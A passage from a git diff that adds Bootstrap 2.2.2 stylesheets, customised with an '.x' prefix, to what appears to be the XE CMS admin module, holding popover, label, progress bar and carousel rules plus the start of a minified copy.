solid #ccc;border:1px solid rgba(0, 0, 0, 0.2);-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);-moz-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box} +.x .x_popover.x_top{margin-top:-10px} +.x .x_popover.x_right{margin-left:10px} +.x .x_popover.x_bottom{margin-top:10px} +.x .x_popover.x_left{margin-left:-10px} +.x .x_popover-title{padding:8px 14px;margin:0;font-size:14px;font-weight:normal;line-height:18px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;-webkit-border-radius:5px 5px 0 0;-moz-border-radius:5px 5px 0 0;border-radius:5px 5px 0 0} +.x .x_popover-content{padding:9px 14px} +.x .x_popover .x_arrow, +.x .x_popover .x_arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid} +.x .x_popover .x_arrow{border-width:11px} +.x .x_popover .x_arrow:after{border-width:10px;content:""} +.x .x_popover.x_top .x_arrow{bottom:-11px;left:50%;margin-left:-11px;border-top-color:#999;border-top-color:rgba(0, 0, 0, 0.25);border-bottom-width:0} +.x .x_popover.x_top .x_arrow:after{bottom:1px;margin-left:-10px;border-top-color:#ffffff;border-bottom-width:0} +.x .x_popover.x_right .x_arrow{top:50%;left:-11px;margin-top:-11px;border-right-color:#999;border-right-color:rgba(0, 0, 0, 0.25);border-left-width:0} +.x .x_popover.x_right .x_arrow:after{bottom:-10px;left:1px;border-right-color:#ffffff;border-left-width:0} +.x .x_popover.x_bottom .x_arrow{top:-11px;left:50%;margin-left:-11px;border-bottom-color:#999;border-bottom-color:rgba(0, 0, 0, 0.25);border-top-width:0} +.x .x_popover.x_bottom .x_arrow:after{top:1px;margin-left:-10px;border-bottom-color:#ffffff;border-top-width:0} +.x .x_popover.x_left .x_arrow{top:50%;right:-11px;margin-top:-11px;border-left-color:#999;border-left-color:rgba(0, 0, 0, 0.25);border-right-width:0} +.x .x_popover.x_left .x_arrow:after{right:1px;bottom:-10px;border-left-color:#ffffff;border-right-width:0} +.x .x_thumbnails{margin-left:-20px;list-style:none;*zoom:1} +.x .x_thumbnails:before, +.x .x_thumbnails:after{display:table;line-height:0;content:""} +.x .x_thumbnails:after{clear:both} +.x .x_row-fluid .x_thumbnails{margin-left:0} +.x .x_thumbnails>li{float:left;margin-bottom:20px;margin-left:20px} +.x .x_thumbnail{display:block;padding:4px;line-height:20px;border:1px solid #ddd;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 3px rgba(0, 0, 0, 0.055);-moz-box-shadow:0 1px 3px rgba(0, 0, 0, 0.055);box-shadow:0 1px 3px rgba(0, 0, 0, 0.055);-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out} +.x a.x_thumbnail:hover{border-color:#0088cc;-webkit-box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);-moz-box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);box-shadow:0 1px 4px rgba(0, 105, 214, 0.25)} +.x .x_thumbnail>img{display:block;max-width:100%;margin-right:auto;margin-left:auto} +.x .x_thumbnail .x_caption{padding:9px;color:#555555} +.x .x_media, +.x .x_media-body{overflow:hidden;*overflow:visible;zoom:1} +.x .x_media, +.x .x_media .x_media{margin-top:15px} +.x .x_media:first-child{margin-top:0} +.x .x_media-object{display:block} +.x .x_media-heading{margin:0 0 5px} +.x .x_media .x_pull-left{margin-right:10px} +.x .x_media .x_pull-right{margin-left:10px} +.x .x_media-list{margin-left:0;list-style:none} +.x .x_label, +.x .x_badge{display:inline-block;padding:2px 4px;font-size:11.844px;font-weight:bold;line-height:14px;color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);white-space:nowrap;vertical-align:baseline;background-color:#999999} +.x .x_label{-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px} +.x .x_badge{padding-right:9px;padding-left:9px;-webkit-border-radius:9px;-moz-border-radius:9px;border-radius:9px} +.x .x_label:empty, +.x .x_badge:empty{display:none} +.x a.x_label:hover, +.x a.x_badge:hover{color:#ffffff;text-decoration:none;cursor:pointer} +.x .x_label-important, +.x .x_badge-important{background-color:#b94a48} +.x .x_label-important[href], +.x .x_badge-important[href]{background-color:#953b39} +.x .x_label-warning, +.x .x_badge-warning{background-color:#f89406} +.x .x_label-warning[href], +.x .x_badge-warning[href]{background-color:#c67605} +.x .x_label-success, +.x .x_badge-success{background-color:#468847} +.x .x_label-success[href], +.x .x_badge-success[href]{background-color:#356635} +.x .x_label-info, +.x .x_badge-info{background-color:#3a87ad} +.x .x_label-info[href], +.x .x_badge-info[href]{background-color:#2d6987} +.x .x_label-inverse, +.x .x_badge-inverse{background-color:#333333} +.x .x_label-inverse[href], +.x .x_badge-inverse[href]{background-color:#1a1a1a} +.x .x_btn .x_label, +.x .x_btn .x_badge{position:relative;top:-1px} +.x .x_btn-mini .x_label, +.x .x_btn-mini .x_badge{top:0} +@-webkit-keyframes progress-bar-stripes{ +from{background-position:40px 0} +to{background-position:0 0} +} +@-moz-keyframes progress-bar-stripes{ +from{background-position:40px 0} +to{background-position:0 0} +} +@-ms-keyframes progress-bar-stripes{ +from{background-position:40px 0} +to{background-position:0 0} +} +@-o-keyframes progress-bar-stripes{ +from{background-position:0 0} +to{background-position:40px 0} +} +@keyframes progress-bar-stripes{ +from{background-position:40px 0} +to{background-position:0 0} +} +.x .x_progress{height:20px;margin-bottom:20px;overflow:hidden;background-color:#f7f7f7;background-image:-moz-linear-gradient(top, #f5f5f5, #f9f9f9);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f9f9f9));background-image:-webkit-linear-gradient(top, #f5f5f5, #f9f9f9);background-image:-o-linear-gradient(top, #f5f5f5, #f9f9f9);background-image:linear-gradient(to bottom, #f5f5f5, #f9f9f9);background-repeat:repeat-x;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f5f5', endColorstr='#f9f9f9', GradientType=0);-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1)} +.x .x_progress .x_bar{float:left;width:0;height:100%;font-size:12px;color:#ffffff;text-align:center;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#0e90d2;background-image:-moz-linear-gradient(top, #149bdf, #0480be);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#149bdf), to(#0480be));background-image:-webkit-linear-gradient(top, #149bdf, #0480be);background-image:-o-linear-gradient(top, #149bdf, #0480be);background-image:linear-gradient(to bottom, #149bdf, #0480be);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#149bdf', endColorstr='#0480be', GradientType=0);-webkit-box-shadow:inset 0 -1px 0 rgba(0, 0, 0, 0.15);-moz-box-shadow:inset 0 -1px 0 rgba(0, 0, 0, 0.15);box-shadow:inset 0 -1px 0 rgba(0, 0, 0, 0.15);-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:width 0.6s ease;-moz-transition:width 0.6s ease;-o-transition:width 0.6s ease;transition:width 0.6s ease} +.x .x_progress .x_bar+.x_bar{-webkit-box-shadow:inset 1px 0 0 rgba(0, 0, 0, 0.15), inset 0 -1px 0 rgba(0, 0, 0, 0.15);-moz-box-shadow:inset 1px 0 0 rgba(0, 0, 0, 0.15), inset 0 -1px 0 rgba(0, 0, 0, 0.15);box-shadow:inset 1px 0 0 rgba(0, 0, 0, 0.15), inset 0 -1px 0 rgba(0, 0, 0, 0.15)} +.x .x_progress-striped .x_bar{background-color:#149bdf;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);-webkit-background-size:40px 40px;-moz-background-size:40px 40px;-o-background-size:40px 40px;background-size:40px 40px} +.x .x_progress.x_active .x_bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-moz-animation:progress-bar-stripes 2s linear infinite;-ms-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite} +.x .x_progress-danger .x_bar, +.x .x_progress .x_bar-danger{background-color:#dd514c;background-image:-moz-linear-gradient(top, #ee5f5b, #c43c35);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#c43c35));background-image:-webkit-linear-gradient(top, #ee5f5b, #c43c35);background-image:-o-linear-gradient(top, #ee5f5b, #c43c35);background-image:linear-gradient(to bottom, #ee5f5b, #c43c35);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#c43c35', GradientType=0)} +.x .x_progress-danger.x_progress-striped .x_bar, +.x .x_progress-striped .x_bar-danger{background-color:#ee5f5b;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent)} +.x .x_progress-success .x_bar, +.x .x_progress .x_bar-success{background-color:#5eb95e;background-image:-moz-linear-gradient(top, #62c462, #57a957);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#57a957));background-image:-webkit-linear-gradient(top, #62c462, #57a957);background-image:-o-linear-gradient(top, #62c462, #57a957);background-image:linear-gradient(to bottom, #62c462, #57a957);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462', endColorstr='#57a957', GradientType=0)} +.x .x_progress-success.x_progress-striped .x_bar, +.x .x_progress-striped .x_bar-success{background-color:#62c462;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent)} +.x .x_progress-info .x_bar, +.x .x_progress .x_bar-info{background-color:#4bb1cf;background-image:-moz-linear-gradient(top, #5bc0de, #339bb9);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#339bb9));background-image:-webkit-linear-gradient(top, #5bc0de, #339bb9);background-image:-o-linear-gradient(top, #5bc0de, #339bb9);background-image:linear-gradient(to bottom, #5bc0de, #339bb9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de', endColorstr='#339bb9', GradientType=0)} +.x .x_progress-info.x_progress-striped .x_bar, +.x .x_progress-striped .x_bar-info{background-color:#5bc0de;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent)} +.x .x_progress-warning .x_bar, +.x .x_progress .x_bar-warning{background-color:#faa732;background-image:-moz-linear-gradient(top, #fbb450, #f89406);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406));background-image:-webkit-linear-gradient(top, #fbb450, #f89406);background-image:-o-linear-gradient(top, #fbb450, #f89406);background-image:linear-gradient(to bottom, #fbb450, #f89406);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fbb450', endColorstr='#f89406', GradientType=0)} +.x .x_progress-warning.x_progress-striped .x_bar, +.x .x_progress-striped .x_bar-warning{background-color:#fbb450;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent)} +.x .x_accordion{margin-bottom:20px} +.x .x_accordion-group{margin-bottom:2px;border:1px solid #e5e5e5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px} +.x .x_accordion-heading{border-bottom:0} +.x .x_accordion-heading .x_accordion-toggle{display:block;padding:8px 15px} +.x .x_accordion-toggle{cursor:pointer} +.x .x_accordion-inner{padding:9px 15px;border-top:1px solid #e5e5e5} +.x .x_carousel{position:relative;margin-bottom:20px;line-height:1} +.x .x_carousel-inner{position:relative;width:100%;overflow:hidden} +.x .x_carousel-inner>.x_item{position:relative;display:none;-webkit-transition:0.6s ease-in-out left;-moz-transition:0.6s ease-in-out left;-o-transition:0.6s ease-in-out left;transition:0.6s ease-in-out left} +.x .x_carousel-inner>.x_item>img{display:block;line-height:1} +.x .x_carousel-inner>.x_active, +.x .x_carousel-inner>.x_next, +.x .x_carousel-inner>.x_prev{display:block} +.x .x_carousel-inner>.x_active{left:0} +.x .x_carousel-inner>.x_next, +.x .x_carousel-inner>.x_prev{position:absolute;top:0;width:100%} +.x .x_carousel-inner>.x_next{left:100%} +.x .x_carousel-inner>.x_prev{left:-100%} +.x .x_carousel-inner>.x_next.x_left, +.x .x_carousel-inner>.x_prev.x_right{left:0} +.x .x_carousel-inner>.x_active.x_left{left:-100%} +.x .x_carousel-inner>.x_active.x_right{left:100%} +.x .x_carousel-control{position:absolute;top:40%;left:15px;width:40px;height:40px;margin-top:-20px;font-size:60px;font-weight:100;line-height:30px;color:#ffffff;text-align:center;background:#222222;border:3px solid #ffffff;-webkit-border-radius:23px;-moz-border-radius:23px;border-radius:23px;opacity:0.5;filter:alpha(opacity=50)} +.x .x_carousel-control.x_right{right:15px;left:auto} +.x .x_carousel-control:hover{color:#ffffff;text-decoration:none;opacity:0.9;filter:alpha(opacity=90)} +.x .x_carousel-caption{position:absolute;right:0;bottom:0;left:0;padding:15px;background:#333333;background:rgba(0, 0, 0, 0.75)} +.x .x_carousel-caption h4, +.x .x_carousel-caption p{line-height:20px;color:#ffffff} +.x .x_carousel-caption h4{margin:0 0 5px} +.x .x_carousel-caption p{margin-bottom:0} +.x .x_hero-unit{padding:60px;margin-bottom:30px;font-size:18px;font-weight:200;line-height:30px;color:inherit;background-color:#eeeeee;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px} +.x .x_hero-unit h1{margin-bottom:0;font-size:60px;line-height:1;letter-spacing:-1px;color:inherit} +.x .x_hero-unit li{line-height:30px} +.x .x_pull-right{float:right} +.x .x_pull-left{float:left} +.x .x_hide{display:none} +.x .x_show{display:block} +.x .x_invisible{visibility:hidden} +.x .x_affix{position:fixed} \ No newline at end of file diff --git a/modules/admin/tpl/css/admin.bootstrap.min.css b/modules/admin/tpl/css/admin.bootstrap.min.css new file mode 100644 index 000000000..c05c8103d --- /dev/null +++ b/modules/admin/tpl/css/admin.bootstrap.min.css @@ -0,0 +1,13 @@ +@charset "utf-8"; +/*! + * Bootstrap v2.2.2 + * + * Copyright 2012 Twitter, Inc + * Licensed under the Apache License v2.0 + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Designed and built with all the love in the world @twitter by @mdo and @fat. + * + * This file is customized for XE admin. + */ +.x{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;line-height:20px;color:#333}.x article,.x aside,.x details,.x figcaption,.x figure,.x footer,.x header,.x hgroup,.x nav,.x section{display:block}.x audio,.x canvas,.x video{display:inline-block;*display:inline;*zoom:1;}.x audio:not([controls]){display:none}.x a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.x a:hover,.x a:active{outline:0}.x sub,.x sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}.x sup{top:-.5em}.x sub{bottom:-.25em}.x img{width:auto\9;height:auto;max-width:100%;vertical-align:middle;border:0;-ms-interpolation-mode:bicubic}.x #map_canvas img,.x .google-maps img{max-width:none}.x button,.x input,.x select,.x textarea{margin:0;font-size:100%;vertical-align:middle}.x button,.x input{*overflow:visible;}.x button::-moz-focus-inner,.x input::-moz-focus-inner{padding:0;border:0}.x button,.x input[type="button"],.x input[type="reset"],.x input[type="submit"]{cursor:pointer;-webkit-appearance:button}.x label,.x select,.x button,.x input[type="button"],.x input[type="reset"],.x input[type="submit"],.x input[type="radio"],.x input[type="checkbox"]{cursor:pointer}.x input[type="search"]{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-appearance:textfield}.x input[type="search"]::-webkit-search-decoration,.x input[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none}.x textarea{overflow:auto;vertical-align:top}@media print{.x *{color:#000!important;text-shadow:none!important;background:transparent!important;box-shadow:none!important}.x a,.x a:visited{text-decoration:underline}.x a[href]:after{content:"("attr(href)")"}.x abbr[title]:after{content:"("attr(title)")"}.x .x_ir a:after,.x a[href^="javascript:"]:after,.x a[href^="#"]:after{content:""}.x pre,.x blockquote{border:1px solid #999;page-break-inside:avoid}.x thead{display:table-header-group}.x tr,.x img{page-break-inside:avoid}.x img{max-width:100%!important}@page{margin:.5cm}.x p,.x h2,.x h3{orphans:3;widows:3}.x h2,.x h3{page-break-after:avoid}}.x .x_clearfix{*zoom:1;}.x .x_clearfix:before,.x .x_clearfix:after{display:table;line-height:0;content:""}.x .x_clearfix:after{clear:both}.x .x_hide-text{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.x .x_input-block-level{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.x a{color:#08c;text-decoration:none}.x a:hover{color:#005580;text-decoration:underline}.x .x_img-rounded{-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.x .x_img-polaroid{padding:4px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);-webkit-box-shadow:0 1px 3px rgba(0,0,0,.1);-moz-box-shadow:0 1px 3px rgba(0,0,0,.1);box-shadow:0 1px 3px rgba(0,0,0,.1)}.x .x_img-circle{-webkit-border-radius:500px;-moz-border-radius:500px;border-radius:500px}.x .x_row{margin-left:-20px;*zoom:1;}.x .x_row:before,.x .x_row:after{display:table;line-height:0;content:""}.x .x_row:after{clear:both}.x [class*="x_span"]{float:left;min-height:1px;margin-left:20px}.x .x_container,.x .x_navbar-static-top .x_container,.x .x_navbar-fixed-top .x_container,.x .x_navbar-fixed-bottom .x_container{width:940px}.x .x_span12{width:940px}.x .x_span11{width:860px}.x .x_span10{width:780px}.x .x_span9{width:700px}.x .x_span8{width:620px}.x .x_span7{width:540px}.x .x_span6{width:460px}.x .x_span5{width:380px}.x .x_span4{width:300px}.x .x_span3{width:220px}.x .x_span2{width:140px}.x .x_span1{width:60px}.x .x_offset12{margin-left:980px}.x .x_offset11{margin-left:900px}.x .x_offset10{margin-left:820px}.x .x_offset9{margin-left:740px}.x .x_offset8{margin-left:660px}.x .x_offset7{margin-left:580px}.x .x_offset6{margin-left:500px}.x .x_offset5{margin-left:420px}.x .x_offset4{margin-left:340px}.x .x_offset3{margin-left:260px}.x .x_offset2{margin-left:180px}.x .x_offset1{margin-left:100px}.x .x_row-fluid{width:100%;*zoom:1;}.x .x_row-fluid:before,.x .x_row-fluid:after{display:table;line-height:0;content:""}.x .x_row-fluid:after{clear:both}.x .x_row-fluid [class*="x_span"]{display:block;float:left;width:100%;min-height:30px;margin-left:2.127659574468085%;*margin-left:2.074468085106383%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.x .x_row-fluid [class*="x_span"]:first-child{margin-left:0}.x .x_row-fluid .x_controls-row [class*="x_span"]+[class*="x_span"]{margin-left:2.127659574468085%}.x .x_row-fluid .x_span12{width:100%;*width:99.94680851063829%;}.x .x_row-fluid .x_span11{width:91.48936170212765%;*width:91.43617021276594%;}.x .x_row-fluid .x_span10{width:82.97872340425532%;*width:82.92553191489361%;}.x .x_row-fluid .x_span9{width:74.46808510638297%;*width:74.41489361702126%;}.x .x_row-fluid .x_span8{width:65.95744680851064%;*width:65.90425531914893%;}.x .x_row-fluid .x_span7{width:57.44680851063829%;*width:57.39361702127659%;}.x .x_row-fluid .x_span6{width:48.93617021276595%;*width:48.88297872340425%;}.x .x_row-fluid .x_span5{width:40.42553191489362%;*width:40.37234042553192%;}.x .x_row-fluid .x_span4{width:31.914893617021278%;*width:31.861702127659576%;}.x .x_row-fluid .x_span3{width:23.404255319148934%;*width:23.351063829787233%;}.x .x_row-fluid .x_span2{width:14.893617021276595%;*width:14.840425531914894%;}.x .x_row-fluid .x_span1{width:6.382978723404255%;*width:6.329787234042553%;}.x .x_row-fluid .x_offset12{margin-left:104.25531914893617%;*margin-left:104.14893617021275%;}.x .x_row-fluid .x_offset12:first-child{margin-left:102.12765957446808%;*margin-left:102.02127659574467%;}.x .x_row-fluid .x_offset11{margin-left:95.74468085106382%;*margin-left:95.6382978723404%;}.x .x_row-fluid .x_offset11:first-child{margin-left:93.61702127659574%;*margin-left:93.51063829787232%;}.x .x_row-fluid .x_offset10{margin-left:87.23404255319149%;*margin-left:87.12765957446807%;}.x .x_row-fluid .x_offset10:first-child{margin-left:85.1063829787234%;*margin-left:84.99999999999999%;}.x .x_row-fluid .x_offset9{margin-left:78.72340425531914%;*margin-left:78.61702127659572%;}.x .x_row-fluid .x_offset9:first-child{margin-left:76.59574468085106%;*margin-left:76.48936170212764%;}.x .x_row-fluid .x_offset8{margin-left:70.2127659574468%;*margin-left:70.10638297872339%;}.x .x_row-fluid .x_offset8:first-child{margin-left:68.08510638297872%;*margin-left:67.9787234042553%;}.x .x_row-fluid .x_offset7{margin-left:61.70212765957446%;*margin-left:61.59574468085106%;}.x .x_row-fluid .x_offset7:first-child{margin-left:59.574468085106375%;*margin-left:59.46808510638297%;}.x .x_row-fluid .x_offset6{margin-left:53.191489361702125%;*margin-left:53.085106382978715%;}.x .x_row-fluid .x_offset6:first-child{margin-left:51.063829787234035%;*margin-left:50.95744680851063%;}.x .x_row-fluid .x_offset5{margin-left:44.68085106382979%;*margin-left:44.57446808510638%;}.x .x_row-fluid .x_offset5:first-child{margin-left:42.5531914893617%;*margin-left:42.4468085106383%;}.x .x_row-fluid .x_offset4{margin-left:36.170212765957444%;*margin-left:36.06382978723405%;}.x .x_row-fluid .x_offset4:first-child{margin-left:34.04255319148936%;*margin-left:33.93617021276596%;}.x .x_row-fluid .x_offset3{margin-left:27.659574468085104%;*margin-left:27.5531914893617%;}.x .x_row-fluid .x_offset3:first-child{margin-left:25.53191489361702%;*margin-left:25.425531914893618%;}.x .x_row-fluid .x_offset2{margin-left:19.148936170212764%;*margin-left:19.04255319148936%;}.x .x_row-fluid .x_offset2:first-child{margin-left:17.02127659574468%;*margin-left:16.914893617021278%;}.x .x_row-fluid .x_offset1{margin-left:10.638297872340425%;*margin-left:10.53191489361702%;}.x .x_row-fluid .x_offset1:first-child{margin-left:8.51063829787234%;*margin-left:8.404255319148938%;}.x [class*="x_span"].x_hide,.x .x_row-fluid [class*="x_span"].x_hide{display:none}.x [class*="x_span"].x_pull-right,.x .x_row-fluid [class*="x_span"].x_pull-right{float:right}.x .x_container{margin-right:auto;margin-left:auto;*zoom:1;}.x .x_container:before,.x .x_container:after{display:table;line-height:0;content:""}.x .x_container:after{clear:both}.x .x_container-fluid{padding-right:20px;padding-left:20px;*zoom:1;}.x .x_container-fluid:before,.x .x_container-fluid:after{display:table;line-height:0;content:""}.x .x_container-fluid:after{clear:both}.x p{margin:0 0 10px}.x .x_lead{margin-bottom:20px;font-size:21px;font-weight:200;line-height:30px}.x small{font-size:85%}.x strong{font-weight:bold}.x em{font-style:italic}.x cite{font-style:normal}.x .x_muted{color:#999}.x a.x_muted:hover{color:gray}.x .x_text-warning{color:#c09853}.x a.x_text-warning:hover{color:#a47e3c}.x .x_text-error{color:#b94a48}.x a.x_text-error:hover{color:#953b39}.x .x_text-info{color:#3a87ad}.x a.x_text-info:hover{color:#2d6987}.x .x_text-success{color:#468847}.x a.x_text-success:hover{color:#356635}.x h1,.x h2,.x h3,.x h4,.x h5,.x h6{margin:10px 0;font-family:inherit;font-weight:bold;line-height:20px;color:inherit;text-rendering:optimizelegibility}.x h1 small,.x h2 small,.x h3 small,.x h4 small,.x h5 small,.x h6 small{font-weight:normal;line-height:1;color:#999}.x h1,.x h2,.x h3{line-height:40px}.x h1{font-size:38.5px}.x h2{font-size:31.5px}.x h3{font-size:24.5px}.x h4{font-size:17.5px}.x h5{font-size:14px}.x h6{font-size:11.9px}.x h1 small{font-size:24.5px}.x h2 small{font-size:17.5px}.x h3 small{font-size:14px}.x h4 small{font-size:14px}.x .x_page-header{padding-bottom:9px;margin:20px 0 30px;border-bottom:1px solid #eee}.x ul,.x ol{padding:0;margin:0 0 10px 25px}.x ul ul,.x ul ol,.x ol ol,.x ol ul{margin-bottom:0}.x li{line-height:20px}.x ul.x_unstyled,.x ol.x_unstyled{margin-left:0;list-style:none}.x ul.x_inline,.x ol.x_inline{margin-left:0;list-style:none}.x ul.x_inline>li,.x 